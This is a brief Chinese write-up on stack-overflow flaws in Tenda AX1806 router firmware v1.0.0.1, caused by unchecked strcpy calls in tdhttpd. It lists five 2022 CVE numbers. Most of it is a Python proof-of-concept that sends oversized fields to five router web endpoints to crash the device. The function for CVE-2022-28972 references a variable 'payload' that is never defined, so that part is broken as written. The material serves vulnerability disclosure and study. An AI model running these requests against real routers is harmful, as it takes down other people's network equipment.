Tenda AX1806路由器固件版本 v1.0.0.1,存在多处栈溢出漏洞,漏洞点在 tdhttpd 二进制文件中,使用了危险函数 strcpy 前未对参数长度进行判断,导致拒绝服务漏洞。
通过公布的漏洞编号,得知CVE编号为 CVE-2022-28971、CVE-2022-28972、CVE-2022-28970、CVE-2022-28969、CVE-2022-28973。在CVE网站中查询相关信息,得到漏洞相关信息,基本上都是溢出类漏洞:
#
Poc代码如下:
import requests
def CVE_2022_28970():
data = {
b"mac": b"A"*0x400
}
res = requests.post("http://172.16.96.20/goform/GetParentControlInfo", data=data)
print(res.content)
def CVE_2022_28973():
data = {
b"wanMTU": b'A'*0x800,
}
res = requests.post("http://172.16.96.20/goform/AdvSetMacMtuWan", data=data)
print(res.content)
def CVE_2022_28969():
data = {
b"shareSpeed": b'A'*0x800
}
res = requests.post("http://172.16.96.20/goform/WifiGuestSet", data=data)
print(res.content)
def CVE_2022_28971():
data = {
b"list": b'A'*0x800,
b"bindnum": b"1"
}
res = requests.post("http://172.16.96.20/goform/SetIpMacBind", data=data)
print(res.content)
def CVE_2022_28972():
data = {
b"ssid": b'A',
b"timeZone": payload.ljust(0x100,b'A') + b":" + b"A"*0x400
}
res = requests.post("http://172.16.96.20/goform/fast_setting_wifi_set", data=data)
print(res.content)
CVE_2022_28971()